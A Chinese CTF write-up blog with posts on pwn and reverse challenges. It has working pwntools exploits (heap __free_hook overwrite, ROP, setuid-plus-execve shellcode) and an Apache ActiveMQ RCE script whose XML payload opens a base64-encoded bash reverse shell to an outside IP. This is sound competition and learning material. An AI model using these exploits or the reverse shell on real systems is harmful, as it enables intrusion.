rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


def create_note(idx):
    ru("5. Exit\n")
    sl("1")
    sla("Enter the note",str(idx))

def delete_note(idx):
    ru("5. Exit\n")
    sl(b"2")
    sla("Which note do you want to delete?",str(idx + 1))

def edit_note(idx,data):
    ru("5. Exit\n")
    sl(b"3")
    sla("Which note do you want to edit?",str(idx + 1))
    sl(data)

def read_note(idx):
    ru("5. Exit\n")
    sl(b"4")
    sla("Which note do you want to read?",str(idx + 1))

def create_big_note(idx):
    ru("5. Exit\n")
    sl(b"10")
    sla("Enter the note",str(idx))

p = connect()

for i in range(7):
    create_note(i)

create_big_note(7)
create_note(8)

for i in range(7):
    delete_note(i)

delete_note(7)
# g(p)

read_note(7)
libc_base = r_leak_libc_64() - (0x7f874aedebe0 - 0x7f874acf3000)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(f"libc_base ->{hex(libc_base)}")
success(f"free_hook ->{hex(free_hook)}")
success(f"system ->{hex(system)}")
# g(p)

for i in range(7):
    create_note(i)
create_big_note(7)


delete_note(0)
delete_note(1)

edit_note(1,p64(free_hook))
create_note(1)
create_note(2)
edit_note(18,p64(system))

create_note(2)
edit_note(2,b'/bin/sh')
delete_note(2)

p.interactive()
Read More
post @ 2024-02-07

re

ezASM

checkflag可以看出 cmp的逻辑是 异或0x22

section .data
    c db 74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34
    flag db 33 dup(0)
    format db "plz input your flag: ", 0
    success db "Congratulations!", 0
    failure db "Sry, plz try again", 0

section .text
    global _start

_start:
    ; Print prompt
    mov eax, 4
    mov ebx, 1
    mov ecx, format
    mov edx, 20
    int 0x80

    ; Read user input
    mov eax, 3
    mov ebx, 0
    mov ecx, flag
    mov edx, 33
    int 0x80

    ; Check flag
    xor esi, esi
check_flag:
    mov al, byte [flag + esi]
    xor al, 0x22
    cmp al, byte [c + esi]
    jne failure_check

    inc esi
    cmp esi, 33
    jne check_flag

    ; Print success message
    mov eax, 4
    mov ebx, 1
    mov ecx, success
    mov edx, 14
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

failure_check:
    ; Print failure message
    mov eax, 4
    mov ebx, 1
    mov ecx, failure
    mov edx, 18
    int 0x80

    ; Exit
    mov eax, 1
    xor ebx, ebx
    int 0x80

exp

a = [74, 69, 67, 79, 71, 89, 99, 113, 111, 125, 107, 81, 125, 107, 79, 82, 18, 80, 86, 22, 76, 86, 125, 22, 125, 112, 71, 84, 17, 80, 81, 17, 95, 34]

for i in a:
    print(chr(i ^ 0x22),end="")

ezPYC

pycdc 反编译发现反编译失败,使用pydas反编译查看逻辑

[Code]
    File Name: ezPYC.py
    Object Name: <module>
    Qualified Name: <module>
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Stack Size: 5
    Flags: 0x00000000
    [Names]
        'flag'
        'c'
        'input'
        'range'
        'i'
        'ord'
        'print'
        'exit'
    [Locals+Names]
    [Constants]
        (
            87
            75
            71
            69
            83
            121
            83
            125
            117
            106
            108
            106
            94
            80
            48
            114
            100
            112
            112
            55
            94
            51
            112
            91
            48
            108
            119
            97
            115
            49
            112
            112
            48
            108
            100
            37
            124
            2
        )
        (
            1
            2
            3
            4
        )
        'plz input flag:'
        0
        36
        1
        4
        'Sry, try again...'
        'Wow!You know a little of python reverse'
        None
    [Disassembly]
        0       RESUME                        0
        2       BUILD_LIST                    0
        4       LOAD_CONST                    0: (87, 75, 71, 69, 83, 121, 83, 125, 117, 106, 108, 106, 94, 80, 48, 114, 100, 112, 112, 55, 94, 51, 112, 91, 48, 108, 119, 97, 115, 49, 112, 112, 48, 108, 100, 37, 124, 2)
        6       LIST_EXTEND                   1
        8       STORE_NAME                    0: flag
        10      BUILD_LIST                    0
        12      LOAD_CONST                    1: (1, 2, 3, 4)
        14      LIST_EXTEND                   1
        16      STORE_NAME                    1: c
        18      PUSH_NULL
        20      LOAD_NAME                     2: input
        22      LOAD_CONST                    2: 'plz input flag:'
        24      PRECALL                       1
        28      CALL                          1
        38      STORE_NAME                    2: input
        40      PUSH_NULL
        42      LOAD_NAME                     3: range
        44      LOAD_CONST                    3: 0
        46      LOAD_CONST                    4: 36
        48      LOAD_CONST                    5: 1
        50      PRECALL                       3
        54      CALL                          3
        64      GET_ITER
        66      FOR_ITER                      62 (to 192)
        68      STORE_NAME                    4: i
        70      PUSH_NULL
        72      LOAD_NAME                     5: ord
        74      LOAD_NAME                     2: input
        76      LOAD_NAME                     4: i
        78      BINARY_SUBSCR
        88      PRECALL                       1
        92      CALL                          1
        102     LOAD_NAME                     1: c
        104     LOAD_NAME                     4: i
        106     LOAD_CONST                    6: 4
        108     BINARY_OP                     6 (%)
        112     BINARY_SUBSCR
        122     BINARY_OP                     12 (^)
        126     LOAD_NAME                     0: flag
        128     LOAD_NAME                     4: i
        130     BINARY_SUBSCR
        140     COMPARE_OP                    3 (!=)
        146     POP_JUMP_FORWARD_IF_FALSE     21
        148     PUSH_NULL
        150     LOAD_NAME                     6: print
        152     LOAD_CONST                    7: 'Sry, try again...'
        154     PRECALL                       1
        158     CALL                          1
        168     POP_TOP
        170     PUSH_NULL
        172     LOAD_NAME                     7: exit
        174     PRECALL                       0
        178     CALL                          0
        188     POP_TOP
        190     JUMP_BACKWARD                 63
        192     PUSH_NULL
        194     LOAD_NAME                     6: print
        196     LOAD_CONST                    8: 'Wow!You know a little of python reverse'
        198     PRECALL                       1
        202     CALL                          1
        212     POP_TOP
        214     LOAD_CONST                    9: None
        216     RETURN_VALUE

exp

flag = [
    87,
    75,
    71,
    69,
    83,
    121,
    83,
    125,
    117,
    106,
    108,
    106,
    94,
    80,
    48,
    114,
    100,
    112,
    112,
    55,
    94,
    51,
    112,
    91,
    48,
    108,
    119,
    97,
    115,
    49,
    112,
    112,
    48,
    108,
    100,
    37,
    124,
    2]
c = [
    1,
    2,
    3,
    4]

for i in range(len(flag)):
    byte = flag[i] ^ c[i % 4]
    print(chr(byte),end="")

ezUPX

发现是upx3.96,用upx -d 脱壳

是一个异或 0x32 cmp的逻辑

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  __int64 i; // rax
  __int128 v6[2]; // [rsp+20h] [rbp-38h] BYREF
  int v7; // [rsp+40h] [rbp-18h]

  memset(v6, 0, sizeof(v6));
  v7 = 0;
  sub_140001020("plz input your flag:\n");
  sub_140001080("%36s");
  v3 = 0;
  for ( i = 0i64; (*((_BYTE *)v6 + i) ^ 0x32) == byte_1400022A0[i]; ++i )
  {
    if ( (unsigned int)++v3 >= 0x25 )
    {
      sub_140001020("Cooool!You really know a little of UPX!");
      return 0;
    }
  }
  sub_140001020("Sry,try again plz...");
  return 0;
}

exp

a = [0x64, 0x7B, 0x76, 0x73, 0x60, 0x49, 0x65, 0x5D, 0x45, 0x13, 0x6B, 0x02, 0x47, 0x6D, 0x59, 0x5C, 0x02, 0x45, 0x6D, 0x06, 0x6D, 0x5E, 0x03, 0x46, 0x46, 0x5E, 0x01, 0x6D, 0x02, 0x54, 0x6D, 0x67, 0x62, 0x6A, 0x13, 0x4F, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]

for i in a:
    print(chr(i ^0x32),end="")

ezIDA

flag打开就有了

pwn

Read More
post @ 2024-02-06

pwn

one_byte

刚刚好能覆盖返回地址一个字节,看了一下返回地址是一个libc的地址,29dxx,把29dxx附件的汇编看了一遍,没有很直接的输出函数,或者是跳转到输出函数的汇编,。那这时候的思路是把一个字节爆破一遍,把有输出的字节全部记录下来,最后发现在 \x89那回到了main函数,把下一位flag输出出来了

.text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0                         call    rax

mov rax [rsp + 8] 刚刚好取到了main函数的起始地址,然后由于输出flag是根据rbp 加一个偏移去取flag字符的地址,重新call flag的时候 rbp更新,刚刚好取到下边,太巧妙了

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./one_byte')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


p = connect()
# g(p)
payload = b'a' * 0x11 + b'\x89'
flag = b''
for i in range(70):
    try:

        sa("Are you satisfied with the result?\n",payload)
        ru("gift: ")
        flag += r(1)
    except:
        pass


print(flag)

p.interactive()

unhappy

确实是unhappy,想了半天,限制了h用不了64位的寄存器,卡在写binsh那一步了,在想有什么方法可以写寄存器高三十二位,后面发现,能不能再syscall一次read,这样就能绕过前面的cmp了

爆破 哪些指令不能用的脚本

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 1

IP = "101.32.220.189"
PORT = 32371

elf = context.binary = ELF('./unhappy')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()


# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])


bytecodes = [bytes([i]) for i in range(256)]
disablebytecode = [bytes([i]) for i in b"happyHAPPY"]

result = []

for k in range(1,4):

    for i in itertools.product(bytecodes, repeat = k):
        s = b""
        for j in range(len(i)):
            if(i[j] not in disablebytecode):
                s = b""
                break
            s += i[j]
        if s != b"":
            result.append(s)

print(len(result))

with open("disable.txt","w") as f:
    for i in result:
        l = disasm(i)
        f.write(l + '\n')

exp 远程打过去,flag要root权限才能读,Unhappy文件的属主是root,查了一下有一个叫setuid的系统调用能修改子进程的权限

exp

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32227

elf = context.binary = ELF('./unhappy')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

shellcode = asm('''
    xor eax,eax
    xor edi,edi
    syscall
''')
s(shellcode)


shellcode = asm('nop') * 0x7
shellcode += asm('''
    mov rax,105
    mov rdi,0
    syscall  
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    push 0x3b
    pop rax
    xor esi, esi
    xor edx, edx
    syscall
''')

s(shellcode)

# print(shellcode)


# disablebytecode = "happyHAPPY"

# for i in shellcode:
#     if chr(i) in disablebytecode:
#         print("######")
#         print(chr(i),end="")


p.interactive()

gift_rop

看了一下,是静态链接的程序,那就是ret2syscall了,有rdi rsi rdx的gadget,也有binsh,fd 1 2关了,但是可以重定向0 ,cat flag>&0就好了

from pwn import *
from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')
is_debug = 0

IP = "101.32.220.189"
PORT = 32113

elf = context.binary = ELF('./gift_rop')
libc = elf.libc


def connect():
    return remote(IP, PORT) if not is_debug else process()

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

# recv() recvline() recvuntil()
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])



p = connect()

rdi = 0x0000000000401f2f
rsi = 0x0000000000409f9e
rdx = 0x000000000047f20b # 0x000000000047f20b : pop rdx ; pop rbx ; ret
syscall = 0x0000000000401ce4
rax = 0x0000000000448077

binsh = 0x00000000004c50f0

ru("problem.\n")

payload = flat([
    b'a' * (0x20 + 0x8),
    rax,0x3b,rdi,binsh,rsi,0,rdx,0,0,syscall
])
s(payload)



p.interactive()

no_money

$禁用了,不能用%n$n这种方式去写数据,调试了一会,尝试了一些假设后发现,用大量的%p%p%p%n来模拟这个%n$n的效果是可行的,原来格式化字符串是这样解析的,学到了,远程的栈布局和本地有些小差别,需要注意一下

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-54h]
  char buf[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to beginCTF again!");
  puts("I'm sorry to tell you that We don't have the funds.");
  puts("So I will not give you $.");
  while ( 1 )
  {
    puts("Your payload:");
    read(0, buf, 0x100uLL);
    for ( i = 0; i <= 255; ++i )
    {
      if ( buf[i] == 36 )
        exit(-1);
    }
    printf(buf);
    check_target();
  }
}
Read More
post @ 2024-01-31

唉,咱好菜,就出了两个题,ghostscript那个题调了半天没调通

Be-an-ActiveMq-Hacker

搜了一下 用网上的exp打通了

https://blog.csdn.net/weixin_49125123/article/details/135577221

import io
import socket
import sys


def main(ip, port, xml):
    classname = "org.springframework.context.support.ClassPathXmlApplicationContext"
    socket_obj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    socket_obj.connect((ip, port))

    with socket_obj:
        out = socket_obj.makefile('wb')
        # out = io.BytesIO()  # 创建一个内存中的二进制流
        out.write(int(32).to_bytes(4, 'big'))
        out.write(bytes([31]))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(int(1).to_bytes(4, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(classname).to_bytes(2, 'big'))
        out.write(classname.encode('utf-8'))
        out.write(bool(True).to_bytes(1, 'big'))
        out.write(len(xml).to_bytes(2, 'big'))
        out.write(xml.encode('utf-8'))
        # print(list(out.getvalue()))
        out.flush()
        out.close()


if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Please specify the target and port and poc.xml: python3 poc.py 127.0.0.1 61616 "
              "http://192.168.0.101:8888/poc.xml")
        exit(-1)
    main(sys.argv[1], int(sys.argv[2]), sys.argv[3])
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
       http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>bash</value>
                <value>-c</value>
                <value>{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xMzIvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

vision

问题出在 not Support 4 这里,在 strncmp这,

else
 {
   memset(s2, 0, sizeof(s2));
   v11 = strchr(a1, 32);
   if ( v11 )
   {
     strncpy(s2, a1, v11 - a1);
   }
   else
   {
     n = strlen(a1);
     strncpy(s2, a1, n);
   }
   v13 = strlen(s2);
   if ( v13 )
   {
     v7 = 0;
     v10 = off_4020[0];
     while ( strncmp(v10, s2, v13) )
     {
       v10 = off_4020[++v7];
       if ( !off_4020[v7] )
       {
         strcpy(a2, "Not Support 4. \n");
         return __readfsqword(0x28u) ^ v23;
       }
     }

这里的逻辑是,判断输入的字符串在不在命令列表里面,strncmp 需要一个大小的参数,来判断cmp多少字节,cmp成功后会先判断是不是一些预设的命令,如果不是就会传到下边popen那执行命令

.data:0000000000004020 6B 20 00 00 00 00 00 00       off_4020 dq offset s1                   ; DATA XREF: sub_1589+3E5↑o
.data:0000000000004020                                                                       ; sub_1589+410↑o
.data:0000000000004020                                                                       ; sub_1589+432↑o
.data:0000000000004020                                                                       ; "ping"
.data:0000000000004028 70 20 00 00 00 00 00 00       dq offset aUname                        ; "uname"
.data:0000000000004030 76 20 00 00 00 00 00 00       dq offset aPwd                          ; "pwd"
.data:0000000000004038 7A 20 00 00 00 00 00 00       dq offset aDate                         ; "date"
.data:0000000000004040 7F 20 00 00 00 00 00 00       dq offset aId                           ; "id"
.data:0000000000004048 82 20 00 00 00 00 00 00       dq offset aWhoami                       ; "whoami"
.data:0000000000004050 89 20 00 00 00 00 00 00       dq offset aPoweroff                     ; "poweroff"
.data:0000000000004058 92 20 00 00 00 00 00 00       dq offset aShowkey                      ; "showKey"
.data:0000000000004060 9A 20 00 00 00 00 00 00       dq offset aOpenthedoor                  ; "openthedoor"
.data:0000000000004068 00 00 00 00 00 00 00 00       align 10h
  else
  {
    stream = popen(a1, "re");
    if ( !stream )
    {
      perror("popen failed");
      exit(1);
    }
    while ( fgets(s, 256, stream) )
      strcat(a2, s);
    pclose(stream);
  }
}

命令列表那有一个showkey,如果传一个sh,strncmp cmp两个字节,这个cmp就过了,会传到下边popen那执行命令

exp

sh -c "cat /flag"
Read More
post @ 2024-01-26

pwn

nc_pwnre

一个异或的逻辑, 异或后是一串base64编码,提交解码后的文本就进到shell了

a = [0x44,0x7c,0x5e,0x44,0x41,0x21,0x42,0x57,0x75,0x21,0x74,0x56,0x44,0x57,0x5d,0x67,0x44,0x46,0x29,0x45,0x5d,0x56,0x29,0x67,0x46,0x22,0x25,0x76,0x74,0x6a,0x52,0x69,0x5d,0x47,0x41,0x78,0x76,0x41,0x2d,0x2d]

for i in a:
    print(chr(i ^ 0x10),end="")
TlNTQ1RGe1dFTGMwTV9UMF9wV25fdzByMWQhfQ==

1705130191002

ret_text

__isoc99_scanf("%d", &v2);
 if ( v2 < 0 && (v2 = -v2, v2 < 0) )

-2147483648 进行 - 运算后会溢出,满足这个if的约束,能走到下边read,read那有一个栈溢出,覆盖返回地址为backdoor就好了

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./ret_text_v0')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "node7.anna.nssctf.cn"
    port = 28070
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



payload = "-2147483648"

sla("Easy ret2text!!!Input:\n",payload)

payload = b'a' * (0x20 + 0x4) + p32(0x8049328)

sla("OK!!!You are right.\n",payload)

p.interactive()

re

test your Debugger

打个断点去内存里面看一下flag就好了

CompileMe!!!

一眼 xtea,尝试编译了一下发现爆内存 vs崩溃了,有一个new ZZZ()的操作跟了一下,发现爆内存的原因是调用栈 栈帧太多了,写一个class zzz,然后再写一个getval的方法,直接把val计算出来就好了。

internal class Program
{
    static void Main(string[] args)
    {
        var _ = new ulong[] { 0x57656c636f6d6520, 0x746f204e53534354, 0x4620526f756e6423, 0x3136204261736963 };
        var __ = new ulong[] { 0xc60b34b2bff9d34a, 0xf50af3aa8fd96c6b, 0x680ed11f0c05c4f1, 0x6e83b0a4aaf7c1a3, 0xd69b3d568695c3c5, 0xa88f4ff50a351da2, 0x5cfa195968e1bb5b, 0xc4168018d92196d9 };
        const ulong ___ = 0x9E3779B9;
        var ____ = Enumerable.Range(0, 32).Select(______ => ___ * (32 - (uint)______)).ToArray();

        var _____ = __.Select((_______, ________) => new { Value = _______, Index = ________ })
            .GroupBy(____________ => ____________.Index / 2)
            .Select(___________ =>
            {
                ulong _________ = ___________.ElementAt(0).Value;
                ulong __________ = ___________.ElementAt(1).Value;
                ulong _____________ = ___ * 32;

                ____.ToList().ForEach(_____________________ =>
                {
                    __________ -= (((_________ << 4) ^ (_________ >> 5)) + _________) ^ (_____________ + _[(_____________ >> 11) & 3]);
                    _____________ -= ___;
                    _________ -= (((__________ << 4) ^ (__________ >> 5)) + __________) ^ (_____________ + _[_____________ & 3]);
                });
                return new[] { _________, __________ };
            })
            .SelectMany(______________ => ______________)
            .ToArray();

        Array.Copy(_____, __, __.Length);

        __.SelectMany(_______________ => BitConverter.GetBytes(new ZZZ(_______________).GetVal()).Reverse()).ToList().ForEach(________________ => Console.Write(Encoding.ASCII.GetString(new[] { ________________ })));
        //Output: NSSCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
        //Try to compile me!!!
    }
}

一些文本处理的代码

# import re

# code = """
# //NET8.0
# 
# 
# namespace NSSCTF
# {
#     internal class Program
#     {
#         static void Main(string[] args)
#         {
#             var _ = new ulong[] { 0x57656c636f6d6520, 0x746f204e53534354, 0x4620526f756e6423, 0x3136204261736963 };
#             var __ = new ulong[] { 0xc60b34b2bff9d34a, 0xf50af3aa8fd96c6b, 0x680ed11f0c05c4f1, 0x6e83b0a4aaf7c1a3, 0xd69b3d568695c3c5, 0xa88f4ff50a351da2, 0x5cfa195968e1bb5b, 0xc4168018d92196d9 };
#             const ulong ___ = 0x9E3779B9;
#             var ____ = Enumerable.Range(0, 32).Select(______ => ___ * (32 - (uint)______)).ToArray();
# 
#             var _____ = __.Select((_______, ________) => new { Value = _______, Index = ________ })
#                 .GroupBy(____________ => ____________.Index / 2)
#                 .Select(___________ =>
#                 {
#                     ulong _________ = ___________.ElementAt(0).Value;
#                     ulong __________ = ___________.ElementAt(1).Value;
#                     ulong _____________ = ___ * 32;
# 
#                     ____.ToList().ForEach(_____________________ =>
#                     {
#                         __________ -= (((_________ << 4) ^ (_________ >> 5)) + _________) ^ (_____________ + _[(_____________ >> 11) & 3]);
#                         _____________ -= ___;
#                         _________ -= (((__________ << 4) ^ (__________ >> 5)) + __________) ^ (_____________ + _[_____________ & 3]);
#                     });
#                     return new[] { _________, __________ };
#                 })
#                 .SelectMany(______________ => ______________)
#                 .ToArray();
# 
#             Array.Copy(_____, __, __.Length);
# 
#             __.SelectMany(_______________ => BitConverter.GetBytes(new ZZZ(_______________).GetVal()).Reverse()).ToList().ForEach(________________ => Console.Write(Encoding.ASCII.GetString(new[] { ________________ })));
#             //Output: NSSCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
#             //Try to compile me!!!
#                .......
#         }
#     }
# 
#     abstract class _(ulong val)
#     {
#         public abstract ulong GetVal();
#     }
# 
#     class A(ulong val) : _(val)
#     {
#         public override ulong GetVal()
#         {
#             return val + 0x79013C0BD7467DC;
#         }
#     }
# 
#     class B(ulong val) : A(val)
#     {
#         public override ulong GetVal()
#         {
#             base.GetVal();
#             return val - 0x78D23D50E23FC98;
#         }
#     }
# 
#     class C(ulong val) : B(val)
#     {
# """
# regex = r"return\s+val\s+([+-^])\s+(0x[a-fA-F0-9]+);"

# matches = re.findall(regex, code)
# 
# for i in matches:
#     print(i)
# 

# data = """
# + 0x79013C0BD7467DC
# - 0x78D23D50E23FC98
# ^ 0x7E83D35728928CB
# - 0x4901E49CF9D63E8
# ^ 0x664DCA766EBA177
# + 0x7532EA705E8D596
# - 0x703A7337269BDED
# ^ 0x6FD783765C32290
# - 0x5A443D7480A09F7
# 
#...... 
# """
# 
# processed_data = ""
# for line in data.strip().split('\n'):
#     operator, number = line.split(' ')
#     processed_line = f"value {operator}= {number};\n"
#     print("            " + processed_line)

执行后得到flag

Read More
post @ 2024-01-24

pwn

好菜,pwn就出了一个题,堆题做不出

nmanager

可以用printf %s泄露libc的地址,然后打ret2libc,n为8刚刚好到rbp那

unsigned __int64 __fastcall modify(__int64 a1)
{
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  do
  {
    puts("## select the idx you want modify ##");
    __isoc99_scanf("%d", &n);
    printf("gender: ");
    read(0, (void *)(120LL * n + a1), 0x20uLL);
    printf("age: ");
    __isoc99_scanf("%lld", 120LL * n + a1 + 32);
    printf("name: ");
    read(0, (void *)(120LL * n + a1 + 40), 0x40uLL);
    printf(
      "[idx%d]:\nname: %s\nage: %lld\ngender: %s\n",
      (unsigned int)n,
      (const char *)(120LL * n + a1 + 40),
      *(_QWORD *)(120LL * n + a1 + 32),
      (const char *)(120LL * n + a1));
    puts("quit now?(Y/y)");
    read(0, buf, 3uLL);
  }
  while ( buf[0] != 121 && buf[0] != 89 );
  return v3 - __readfsqword(0x28u);
}

exp

from pwn import *
from LibcSearcher import *
import ctypes

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./nmanager')
libc = elf.libc

is_debug = 0

if(is_debug):
    p = process()
else:
    ip = "8.147.131.194"
    port = 43635
    p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x = None: p.recv() if x is None else p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leak_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leak_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



ru(" ######################################################\n")

libc = ctypes.CDLL(None)
libc.srand(int(time.time()))
rand_result = libc.rand()
characters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
password = characters[rand_result % 62]

ru("input password: ")
sl(password)


bss = 0x404000
ret = 0x000000000040101a
leave_ret = 0x40157f
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
check = 0x401585
printf = 0x4014F3


sla("## select the idx you want modify ##\n","8")

sa("gender: ","AAAAAAAA")
sla("age: ","123")
sa("name: ","nyyyddddn")

ru("AAAAAAAA")
libc_base = u64(r(6).ljust(8,b'\x00')) - 0x29d90
success(f"{hex(libc_base)}")

libc = elf.libc
rdi = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))

sa("quit now?(Y/y)\n","n")

sla("## select the idx you want modify ##\n","8")
payload = flat([
    bss,ret,rdi,binsh
])

sa("gender: ",payload)
sla("age: ",str(system))
sa("name: ","nyyyddddn")


# g(p)
sa("quit now?(Y/y)\n","y")

p.interactive()


book[未解决]

delete存在一个uaf

void delete()
{
  unsigned int v0; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v0 = my_read();
  free(*((void **)&heap + v0));
}

如果没有pie的话,可以用size写地址,show去泄露,edit实现任意地址写,写got或者fini,打one_gadget的,可是有pie,咱太菜了,还不会做堆题

int show()
{
  int v1; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v1 = my_read();
  return puts((const char *)heap[v1]);
}
_QWORD *add()
{
  void *v0; // rcx
  _QWORD *result; // rax
  int v2; // [rsp+0h] [rbp-10h]
  int v3; // [rsp+4h] [rbp-Ch]

  printf("Index:");
  v2 = my_read();
  printf("what size :");
  v3 = my_read();
  chunk[v2] = v3;
  v0 = malloc(v3);
  result = heap;
  heap[v2] = v0;
  return result;
}

re

upx2023[未解决]

不太清楚是魔改了什么的upx,区段还有upx大多数特征都是正常的?x64dbg打内存断点找oep脱壳,走到这附件就是oep了,scylla也能搜到导入表

一个随机数异或的逻辑? ida下断点断不住,好奇怪,调了半天没搞清楚cmp的逻辑

可信计算

Read More
⬆︎TOP